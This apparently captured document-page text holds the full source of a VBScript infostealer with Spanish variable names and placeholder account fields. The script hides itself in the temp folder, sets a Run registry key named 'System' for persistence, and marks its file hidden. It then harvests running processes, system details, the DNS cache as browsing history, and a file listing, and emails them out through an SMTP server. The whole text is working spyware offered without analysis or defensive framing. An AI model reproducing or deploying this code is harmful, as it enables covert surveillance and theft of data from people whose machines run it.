Вы находитесь на странице: 1из 2

on error resume next Dim destinatario Dim receptor Dim password Dim proceso Dim infopc Dim archivos

Dim historial Dim info2 destinatario = "Email desde el cual de se envia" password = "Contrasea del destinatario" receptor = "Email al cual le llaga la info" Set ws = WScript.CreateObject("WScript.Shell") temp = ws.Environment("Process")("Temp") Dim resultado set objshell = createobject("wscript.shell") objshell.run "cmd /k copy " & wscript.scriptfullname & " %tmp%\" & wscript.scri ptname & " & exit" , vbhide Set registro = CreateObject("WScript.Shell") registro.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\R un\System" , temp & "\" & wscript.scriptname Set objfso = createobject("scripting.filesystemobject") Set archivo = objfso.getfile(temp & "\" & wscript.scriptname) archivo.attributes = 39 set objshell = createobject("wscript.shell") objshell.run "cmd /k tasklist > " & temp & "\proceso.txt & exit ",vbhide Set filestreamIN = CreateObject("Scripting.FileSystemObject").OpenTextFile(temp & "\proceso.txt",1) proceso = filestreamIN.ReadAll() filestreamIN.Close() set objshell = createobject("wscript.shell") objshell.run "cmd /k ver > " & temp & "\ver.txt & exit ",vbhide Set filestreamIN = CreateObject("Scripting.FileSystemObject").OpenTextFile(temp & "\ver.txt",1) infopc = filestreamIN.ReadAll() filestreamIN.Close() set objshell = createobject("wscript.shell") objshell.run "cmd /k ipconfig /displaydns > " & temp & "\historial.txt & exit ", vbhide WScript.Sleep 3000 Set filestreamIN = CreateObject("Scripting.FileSystemObject").OpenTextFile(temp & "\historial.txt",1) historial = filestreamIN.ReadAll() filestreamIN.Close() set objshell = createobject("wscript.shell") objshell.run "cmd /k systeminfo > " & temp & "\info2.txt & exit ",vbhide WScript.Sleep 3000 Set filestreamIN = CreateObject("Scripting.FileSystemObject").OpenTextFile(temp & "\info2.txt",1) info2 = filestreamIN.ReadAll() filestreamIN.Close() Dim fso, f, fc, dir, f1, listdir, fitxerpersonal dir = WScript.CreateObject("WScript.Shell").Environment("Process")("Temp") listar set ws=createobject("WScript.shell") Set WshNtwk = WScript.CreateObject("WScript.Network") set objcdo=createobject("cdo.message") objcdo.subject="Informacion de " & WshNtwk.ComputerName objcdo.from=destinatario objcdo.to=receptor

objcdo.textbody= "Lista de Procesos " & vbcr & proceso & vbcr & "Informacion Sob re la Pc" & vbcr & infopc & vbcr & "Informacion extendida sobre la Pc" & vbcr & info2 & vbcr & "Lista de Archivos abiertos Recientemente" & vbcr & archivos & vbcr & "Historial de Navegacion" & vbcr & historial objcdo.configuration.fields.item("http://schemas.microsoft.com/cdo/configuration /sendusing") = 2 objcdo.configuration.fields.item("http://schemas.microsoft.com/cdo/configuration /smtpserver") = "smtp.live.com" objcdo.configuration.fields.item("http://schemas.microsoft.com/cdo/configuration /smtpserverport") = "25" objcdo.configuration.fields.item("http://schemas.microsoft.com/cdo/configuration /smtpauthenticate") = 1 objcdo.configuration.fields.item("http://schemas.microsoft.com/cdo/configuration /smtpconnectiontimeout") = 30 objcdo.configuration.fields.item("http://schemas.microsoft.com/cdo/configuration /sendusername") = destinatario objcdo.configuration.fields.item("http://schemas.microsoft.com/cdo/configuration /sendpassword") = password objcdo.configuration.fields.item("http://schemas.microsoft.com/cdo/configuration /smtpusessl") = 1 objcdo.configuration.fields.update objcdo.send Sub listar() Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFolder(dir) recursive_Fitxer(f) archivos =listdir End sub function recursive_fitxer(folder) dim internalFolder For Each internalFolder in folder.SubFolders recursive_fitxer(internalFolder) Next Set fc = folder.Files For Each f1 in fc listdir = listdir & f1.name listdir = listdir & vbCrLf Next end function